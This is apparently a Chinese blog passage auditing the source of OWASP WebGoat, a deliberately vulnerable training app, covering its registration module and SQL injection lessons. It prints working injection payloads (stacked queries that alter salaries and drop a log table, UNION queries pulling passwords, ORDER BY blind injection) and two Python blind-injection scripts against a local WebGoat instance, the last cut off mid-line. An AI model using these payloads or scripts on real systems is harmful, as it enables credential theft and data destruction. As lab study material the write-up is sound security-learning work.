by处无法使用预编译,可以搜索关键字:**<code>JpaSort.unsafe()</code>**</p><p>2.再一些复杂的业务场景中,自定义的sql无法满足业务需求,需要自己编写sql语句,此时就可能存在拼接sql语句,存在sql注入的风险。</p><p>可直接<strong>检索EntityManager</strong>的相关使用。</p><h1 id="2-注册功能"><a href="#2-注册功能" class="headerlink" title="2.注册功能"></a>2.注册功能</h1><h2 id="2-1全局搜索注册路由-register"><a href="#2-1全局搜索注册路由-register" class="headerlink" title="2.1全局搜索注册路由/register"></a>2.1全局搜索注册路由/register</h2><p>定位到webgoat-container/src/main/java/org/owasp/webgoat/users/RegistrationController.java</p><p><img src="2.1.1.png" alt="2.1.1"></p><p>/registration路由会进入registration.html页面。</p><p><img src="2.1.2.png" alt="2.1.2"></p><p>registration页面的输入会提交到register.mvc路由。</p><h2 id="2-2-输入验证"><a href="#2-2-输入验证" class="headerlink" title="2.2 输入验证"></a>2.2 输入验证</h2><p>输入的用户名和密码会进入webgoat-container/src/main/java/org/owasp/webgoat/users/UserValidator.java</p><p><img src="2.2.1.png" alt="2.2.1"></p><p>判断输入用户名数据库中是否存在。第一次和第二次输入的密码是否相同。符合规则则进入</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">userService.addUser(userForm.getUsername(), userForm.getPassword());</span><br></pre></td></tr></table></figure><h2 id="2-3添加用户到数据库"><a href="#2-3添加用户到数据库" class="headerlink" title="2.3添加用户到数据库"></a>2.3添加用户到数据库</h2><p>addUser():</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">addUser</span><span class="params">(String username, String password)</span> </span>{</span><br><span class="line"> <span class="comment">//get user if there exists one by the name</span></span><br><span class="line"> <span class="keyword">var</span> userAlreadyExists = userRepository.existsByUsername(username);</span><br><span class="line"> <span class="comment">// 保存用户密码。jpa内置函数此处相当执行sql语句,update </span></span><br><span class="line"> <span class="keyword">var</span> webGoatUser = userRepository.save(<span class="keyword">new</span> WebGoatUser(username, password));</span><br><span class="line"><span class="comment">//用户在数据库中不存在则进入</span></span><br><span class="line"> <span class="keyword">if</span> (!userAlreadyExists) {</span><br><span class="line"> <span class="comment">//保存用户到数据库</span></span><br><span class="line"> userTrackerRepository.save(<span class="keyword">new</span> UserTracker(username)); <span class="comment">//if user previously existed it will not get another tracker</span></span><br><span class="line"> <span class="comment">//通过用户名创建课程</span></span><br><span class="line"> createLessonsForUser(webGoatUser);</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>createLessonsForUser():</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">createLessonsForUser</span><span class="params">(WebGoatUser webGoatUser)</span> </span>{</span><br><span class="line"> <span class="comment">//此处进行sql语句拼接</span></span><br><span class="line"> jdbcTemplate.execute(<span class="string">"CREATE SCHEMA \""</span> + webGoatUser.getUsername() + <span class="string">"\" authorization dba"</span>);</span><br><span class="line"> flywayLessons.apply(webGoatUser.getUsername()).migrate();</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>此处的sql语句可以构造用户名payload,进行堆叠注入</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">test;<span class="function">select <span class="title">sleep</span><span class="params">(<span class="number">5</span>)</span></span>; -- </span><br></pre></td></tr></table></figure><p>但是用户名有限制,只能输入字母和数据,判断正则如下<code>[a-z0-9-]*</code>:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"> <span class="meta">@NotNull</span></span><br><span class="line"> <span class="meta">@Size(min = 6, max = 45)</span></span><br><span class="line"> <span class="meta">@Pattern(regexp = "[a-z0-9-]*", message = "can only contain lowercase letters, digits, and -")</span></span><br><span class="line"><span class="comment">// 用户名6-45位,字母数字</span></span><br><span class="line"> <span class="keyword">private</span> String username;</span><br></pre></td></tr></table></figure><p>暂时没想到绕过方式。</p><h2 id="2-4-sql注入判断"><a href="#2-4-sql注入判断" class="headerlink" title="2.4 sql注入判断"></a>2.4 sql注入判断</h2><p>注册功能的查询,添加,都是用的jpa规范,存在预编译。不存在注入。</p><p>添加用户之后会相应的为用户创造一个数据库,此处存在sql注入的风险,但是用户输入用户名存在限制,只能输入数字和字母。可能存在一定的绕过方式。</p><h2 id="TODO"><a href="#TODO" class="headerlink" title="TODO"></a>TODO</h2>]]></content>
<categories>
<category> 代码审计 </category>
</categories>
<tags>
<tag> webgoat </tag>
<tag> webgoat 登录注册模块审计 </tag>
</tags>
</entry>
<entry>
<title>3.sql注入模块审计</title>
<link href="/2020/07/05/webgoat%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0/3.sql%E6%B3%A8%E5%85%A5%E6%A8%A1%E5%9D%97%E5%AE%A1%E8%AE%A1/"/>
<url>/2020/07/05/webgoat%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%AD%A6%E4%B9%A0/3.sql%E6%B3%A8%E5%85%A5%E6%A8%A1%E5%9D%97%E5%AE%A1%E8%AE%A1/</url>
<content type="html"><![CDATA[<h1 id="sql-injection-intro"><a href="#sql-injection-intro" class="headerlink" title="sql injection (intro)"></a>sql injection (intro)</h1><h2 id="1-SqlInjection-lesson9"><a href="#1-SqlInjection-lesson9" class="headerlink" title="1.SqlInjection.lesson9"></a>1.SqlInjection.lesson9</h2><p>f12打开控制台,点击get account info,发现数据提交到了/assignment5a路由</p><p><img src="1.1.png" alt="1.1"></p><p>全局搜索/assignment5a路由定位到</p><p>webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java</p><p><img src="1.2.png" alt="1.1"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@PostMapping("/SqlInjection/assignment5a")</span></span><br><span class="line"><span class="meta">@ResponseBody</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> AttackResult <span class="title">completed</span><span class="params">(<span class="meta">@RequestParam</span> String account, <span class="meta">@RequestParam</span> String operator, <span class="meta">@RequestParam</span> String injection)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> injectableQuery(account + <span class="string">" "</span> + operator + <span class="string">" "</span> + injection);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>获取提交的数据。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">query = <span class="string">"SELECT * FROM user_data WHERE first_name = 'John' and last_name = '"</span> + accountName + <span class="string">"'"</span>;</span><br></pre></td></tr></table></figure><p>将获取到的参数进行sql拼接。此处就存在sql注入,直接将获取到的数据拼接到了sql语句中。</p><p>debug查看:<br><img src="1.3.png" alt="1.1"></p><p>选择payload值:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Smith' or '1' = '1</span><br></pre></td></tr></table></figure><p>熟悉sql注入的话很容易就能看出这里的问题:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'</span><br></pre></td></tr></table></figure><p>Or ‘1’=’1’永真,就注入出了所有的数据。</p><h2 id="2-SqlInjection-lesson10"><a href="#2-SqlInjection-lesson10" class="headerlink" title="2.SqlInjection.lesson10"></a>2.SqlInjection.lesson10</h2><p>f12找到路由/assignment5b</p><p>全局搜索:/assignment5b<br><img src="2.1.png" alt="1.1"></p><p>可以看到post提交的数据被赋值到了</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">String queryString = <span class="string">"SELECT * From user_data WHERE Login_Count = ? and userid= "</span> + accountName;</span><br></pre></td></tr></table></figure><p>其中login_count使用了占位符?,而accountName直接拼接到了sql语句中,注入就很明显了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Login : 1</span><br><span class="line"></span><br><span class="line">User_Id : 1 or 1=1</span><br></pre></td></tr></table></figure><p>通过此处也能发现sql语句预编译的写法:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">protected</span> AttackResult <span class="title">injectableQuery</span><span class="params">(String login_count, String accountName)</span> </span>{</span><br><span class="line"> <span class="comment">// 采用 ? 占位符</span></span><br><span class="line"> String queryString = <span class="string">"SELECT * From user_data WHERE Login_Count = ? and userid= "</span> + accountName;</span><br><span class="line"> <span class="keyword">try</span> (Connection connection = dataSource.getConnection()) {</span><br><span class="line"><span class="comment">// 执行预编译</span></span><br><span class="line"> PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">int</span> count = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> count = Integer.parseInt(login_count);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> <span class="keyword">return</span> failed(<span class="keyword">this</span>).output(<span class="string">"Could not parse: "</span> + login_count + <span class="string">" to a number"</span></span><br><span class="line"> + <span class="string">"<br> Your query was: "</span> + queryString.replace(<span class="string">"?"</span>, login_count)).build();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> query.setInt(<span class="number">1</span>, count);</span><br><span class="line"> <span class="comment">//String query = "SELECT * FROM user_data WHERE Login_Count = " + login_count + " and userid = " + accountName, ;</span></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">// 预编译sql语句执行</span></span><br><span class="line"> ResultSet results = query.executeQuery();</span><br></pre></td></tr></table></figure><p>总结下来就是:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 1. sql字段用占位符表示</span></span><br><span class="line">String queryString = <span class="string">"SELECT * From user_data WHERE Login_Count = ? and userid= "</span> + accountName;</span><br><span class="line"><span class="comment">// 2.prepareStatement 预编译处理sql语句</span></span><br><span class="line">PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);</span><br><span class="line"><span class="comment">// 3.预编译sql语句执行</span></span><br><span class="line">ResultSet results = query.executeQuery();</span><br></pre></td></tr></table></figure><h2 id="3-SqlInjection-lesson11"><a href="#3-SqlInjection-lesson11" class="headerlink" title="3.SqlInjection.lesson11"></a>3.SqlInjection.lesson11</h2><p>老方法直接定位到代码:<br><img src="3.1.png" alt="1.1"></p><p>直接拼接神仙难救,唯一的区别是使用了单引号包裹输入的参数。</p><p>构造payload:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Employee Name:1' or '1'='1'--+</span><br><span class="line">Authentication TAN: 1</span><br></pre></td></tr></table></figure><h2 id="4-SqlInjection-lesson12"><a href="#4-SqlInjection-lesson12" class="headerlink" title="4.SqlInjection.lesson12"></a>4.SqlInjection.lesson12</h2><p><img src="4.1.png" alt="1.1"></p><p>一样的拼接代码,神仙难救,但是要求我们</p><p><strong>Better go and <em>change your own salary so you are earning the most!</em></strong></p><p>要求改变自己的薪水,改变数据内容,可以使用堆叠注入update更新,构造payload如下:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">';update employees set SALARY=999999 where LAST_NAME='</span>Smith<span class="string">'--+</span></span><br></pre></td></tr></table></figure><h2 id="5-SqlInjection-lesson13"><a href="#5-SqlInjection-lesson13" class="headerlink" title="5.SqlInjection.lesson13"></a>5.SqlInjection.lesson13</h2><p><img src="5.1.png" alt="1.1"></p><p>一样的拼接,一样的注入。这一次要求我们删除access_log表,以清理痕迹。</p><p>一样堆叠注入,删除表结构,构造paylaod如下:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">1%</span><span class="bash"><span class="string">';drop table access_log;--+</span></span></span><br></pre></td></tr></table></figure><h1 id="sql-injection-advanced"><a href="#sql-injection-advanced" class="headerlink" title="sql injection (advanced)"></a>sql injection (advanced)</h1><h2 id="1-SqlInjection-lesson-3"><a href="#1-SqlInjection-lesson-3" class="headerlink" title="1.SqlInjection.lesson/3"></a>1.SqlInjection.lesson/3</h2><p><img src="2.1.1.png" alt="1.1"></p><p>用户输入拼接到了sql语句。</p><p><img src="2.1.2.png" alt="1.1"></p><p>Name字段出</p><p>构造payload:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Name:1'or'1'='1'--+</span><br></pre></td></tr></table></figure><p>查到用户:Joe,然后构造payload:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Name:Joe' union select 1,'2','3','4','5','6',7;-- </span><br></pre></td></tr></table></figure><p>但是该paylaod一直报错,有点不理解,然后去查看wp,发现payload如下:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Name:' or true union select 1,'2','3','4','5',password, 7 from user_system_data where user_name='dave'-- </span><br></pre></td></tr></table></figure><p>思考为啥<code>Joe' union select 1,'2','3','4','5','6',7;-- </code>。试了一下直接查询Joe,好家伙查不到数据,那大概确定了,</p><p><img src="2.1.3.png" alt="1.1"></p><p>查询不到数据,直接返回<code>No results matched. Try Again.</code>之后联合注入的数据自然也就没有显示。</p><p>所以才采用payload:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Name:' or true union select 1,'2','3','4','5',password, 7 from user_system_data where user_name='dave'-- </span><br></pre></td></tr></table></figure><p>‘ or true永真。返回所有数据,然后union select 1,’2’,’3’,’4’,’5’,password, 7 from user_system_data where user_name=’dave’– 查询password到第6个字段。</p><p>其实也可以采用:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Smith' union select null,user_name,password,null,null,null,null from user_system_data --</span><br></pre></td></tr></table></figure><p>lastName能查询到数据….</p><h2 id="2-SqlInjection-lesson-5"><a href="#2-SqlInjection-lesson-5" class="headerlink" title="2.SqlInjection.lesson/5"></a>2.SqlInjection.lesson/5</h2><p>打开首先是登录功能查看代码:</p><p><img src="2.2.1.png" alt="2.2.1"></p><p>登录功能明显采用了预编译,没有注入,一开始还很奇怪,在想难道预编译也有什么绕过方式?想了一会儿没啥思路,再去登录口看到了注册模块,定位代码如下:<br><img src="2.2.2.png" alt="2.2.1"></p><p>明显的拼接,确定注入点。且没有回显点,只能采用盲注的方式。</p><p>首先构造payload:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tom'and'1'='1</span><br></pre></td></tr></table></figure><p><img src="2.2.3.png" alt="2.2.1"></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tom'and'1'='1</span><br></pre></td></tr></table></figure><p><img src="2.2.4.png" alt="2.2.1"></p><p>当结果为真时返回 user{0}already exists。结果为假时:tom’and’1’=’2 created。</p><p>此时就很容易想到布尔盲注,构造注入脚本:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">import requests</span><br><span class="line">import string</span><br><span class="line"></span><br><span class="line">cookies = {}</span><br><span class="line">cookies["JSESSIONID"]="4UVsSRJn_sA-WPr0OJR-h3pYxSh7aT3vamSEefkO"</span><br><span class="line">enums = string.ascii_lowercase + string.digits + "." + "_" + ","</span><br><span class="line">i = 1</span><br><span class="line">while True:</span><br><span class="line"> flag = 0</span><br><span class="line"> for value in enums:</span><br><span class="line"> sql_value = "tom\' and substring(password,{},1)=\'{}".format(i,value)</span><br><span class="line"> url = "http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/challenge"</span><br><span class="line"> put_data = {"username_reg":sql_value,"email_reg":"123@123","password_reg":"test","confirm_password_reg":"test"}</span><br><span class="line"> req = requests.put(url,data=put_data,cookies=cookies)</span><br><span class="line"> text = req.text</span><br><span class="line"> if "already exists" in text:</span><br><span class="line"> print(value,end='')</span><br><span class="line"> i+=1</span><br><span class="line"> flag = 1</span><br><span class="line"> if flag == 0:</span><br><span class="line"> break</span><br></pre></td></tr></table></figure><h1 id="sql-injection-mitigation"><a href="#sql-injection-mitigation" class="headerlink" title="sql injection (mitigation)"></a>sql injection (mitigation)</h1><h2 id="1-SqlInjectionMitigations-lesson-4"><a href="#1-SqlInjectionMitigations-lesson-4" class="headerlink" title="1.SqlInjectionMitigations.lesson/4"></a>1.SqlInjectionMitigations.lesson/4</h2><p>构造安全的sql查询:</p><p><img src="3.1.1.png" alt="2.2.1"></p><h2 id="2-SqlInjectionMitigations-lesson-5"><a href="#2-SqlInjectionMitigations-lesson-5" class="headerlink" title="2.SqlInjectionMitigations.lesson/5"></a>2.SqlInjectionMitigations.lesson/5</h2><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">try{</span><br><span class="line"> Connection ct=DriverManager.getConnection(DBURL,DBUSER,DBPW);</span><br><span class="line"> PreparedStatement ps=ct.prepareStatement("select * from users where name=?");</span><br><span class="line"> ps.setString(1,"3");</span><br><span class="line"> ResultSet rs=ps.executeQuery();</span><br><span class="line">} catch(Exception e){</span><br><span class="line"> System.out.println("123");</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="3-SqlInjectionMitigations-lesson-11"><a href="#3-SqlInjectionMitigations-lesson-11" class="headerlink" title="3.SqlInjectionMitigations.lesson/11"></a>3.SqlInjectionMitigations.lesson/11</h2><p>定位到:webgoat/WebGoat/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.owasp.webgoat.sql_injection.mitigation;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> lombok.AllArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> lombok.Getter;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.owasp.webgoat.LessonDataSource;</span><br><span class="line"><span class="keyword">import</span> org.springframework.http.MediaType;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.sql.Connection;</span><br><span class="line"><span class="keyword">import</span> java.sql.PreparedStatement;</span><br><span class="line"><span class="keyword">import</span> java.sql.ResultSet;</span><br><span class="line"><span class="keyword">import</span> java.util.ArrayList;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> nbaars</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 6/13/17.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping("SqlInjectionMitigations/servers")</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Servers</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">final</span> LessonDataSource dataSource;</span><br><span class="line"></span><br><span class="line"> <span class="meta">@AllArgsConstructor</span></span><br><span class="line"> <span class="meta">@Getter</span></span><br><span class="line"> <span class="keyword">private</span> <span class="class"><span class="keyword">class</span> <span class="title">Server</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> String id;</span><br><span class="line"> <span class="keyword">private</span> String hostname;</span><br><span class="line"> <span class="keyword">private</span> String ip;</span><br><span class="line"> <span class="keyword">private</span> String mac;</span><br><span class="line"> <span class="keyword">private</span> String status;</span><br><span class="line"> <span class="keyword">private</span> String description;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">Servers</span><span class="params">(LessonDataSource dataSource)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.dataSource = dataSource;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="meta">@GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)</span></span><br><span class="line"> <span class="meta">@ResponseBody</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> List<Server> <span class="title">sort</span><span class="params">(<span class="meta">@RequestParam</span> String column)</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> List<Server> servers = <span class="keyword">new</span> ArrayList<>();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> (Connection connection = dataSource.getConnection();</span><br><span class="line"> PreparedStatement preparedStatement = connection.prepareStatement(<span class="string">"select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by "</span> + column)) {</span><br><span class="line"> ResultSet rs = preparedStatement.executeQuery();</span><br><span class="line"> <span class="keyword">while</span> (rs.next()) {</span><br><span class="line"> Server server = <span class="keyword">new</span> Server(rs.getString(<span class="number">1</span>), rs.getString(<span class="number">2</span>), rs.getString(<span class="number">3</span>), rs.getString(<span class="number">4</span>), rs.getString(<span class="number">5</span>), rs.getString(<span class="number">6</span>));</span><br><span class="line"> servers.add(server);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> servers;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>问题主要出在这里:<br><img src="3.3.1.png" alt="2.2.1"></p><p>将获取的参数直接拼接到order by后面:<br>构造payload:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">/WebGoat/SqlInjectionMitigations/servers?column=case+when+(select+substr(ip,1,1)%3d'1'+from+servers+where+hostname%3d'webgoat-prd')+then+hostname+else+mac+end</span><br><span class="line"></span><br><span class="line">解码:</span><br><span class="line">/WebGoat/SqlInjectionMitigations/servers?column=case+when+(select+substr(ip,1,1)='1'+from+servers+where+hostname='webgoat-prd')+then+hostname+else+mac+end</span><br></pre></td></tr></table></figure><p>这里采用了<code>case when then else end</code>语句。<a href="https://juejin.cn/post/6844903542541516807">https://juejin.cn/post/6844903542541516807</a></p><p>使用实例:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line"> <span class="keyword">CASE</span> <span class="keyword">WHEN</span> SEX <span class="operator">=</span> <span class="string">'1'</span> <span class="keyword">THEN</span> <span class="string">'男'</span> </span><br><span class="line"> <span class="keyword">WHEN</span> SEX <span class="operator">=</span> <span class="string">'2'</span> <span class="keyword">THEN</span> <span class="string">'女'</span></span><br><span class="line"> <span class="keyword">ELSE</span> <span class="string">'性别不明'</span> <span class="keyword">END</span> </span><br><span class="line"> <span class="keyword">FROM</span> PERSON</span><br></pre></td></tr></table></figure><p>大体意思就是:</p><p>查询 person表,当sex=1时返回男,sex=2是返回女,否则性别不明。</p><p>sql注入的完整语句就为:</p><p><img src="3.3.2.png" alt="2.2.1"></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by case+when+(select+substr(ip,1,1)='1'+from+servers+where+hostname='webgoat-prd')+then+hostname+else+mac+end</span><br></pre></td></tr></table></figure><p><code>(select+substr(ip,1,1)='1'+from+servers+where+hostname='webgoat-prd')</code>返回true/flase,决定是根据hostname还是mac来排序,此时就可以利用布尔盲注。</p><p>布尔盲注脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding:utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> string <span class="keyword">import</span> digits</span><br><span class="line">chars = digits+<span class="string">"."</span></span><br><span class="line"></span><br><span class="line">headers = {</span><br><span class="line"> <span class="string">'X-Requested-With'</span>: <span class="string">'XMLHttpRequest'</span></span><br><span class="line">}</span><br><span class="line">cookies = {</span><br><span class="line"> <span class="string">'JSESSIONID'</span>: <span class="string">'gDbal1EmdcCUptfZ-GIYSBFIFcPZlpBOht4IqlrL'</span></span><br><span class="line">}</span><br><span class="line">i = <span class="number">0</span></span><br><span class="line">result = <span class="string">""</span></span><br><span class="line">proxy={<span class="string">"http"</span>: <span class="string">"http://127.0.0.1:8081"</span>}</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> i += <span class="number">1</span></span><br><span class="line"> temp = result</span><br><span class="line"> <span class="keyword">for</span> char <span class="keyword">in</span> chars:</span><br><span class="line"> vul_url = <span class="string">"http://localhost:8080/WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20substr(ip,{0},1)='{1}'%20from%20servers%20where%20hostname='webgoat-prd')%20then%20hostname%20else%20mac%20end"</span>.<span class="built_in">format</span>(i, char)</span><br><span class="line"> resp = requests.get(vul_url, headers=headers, cookies=cookies, 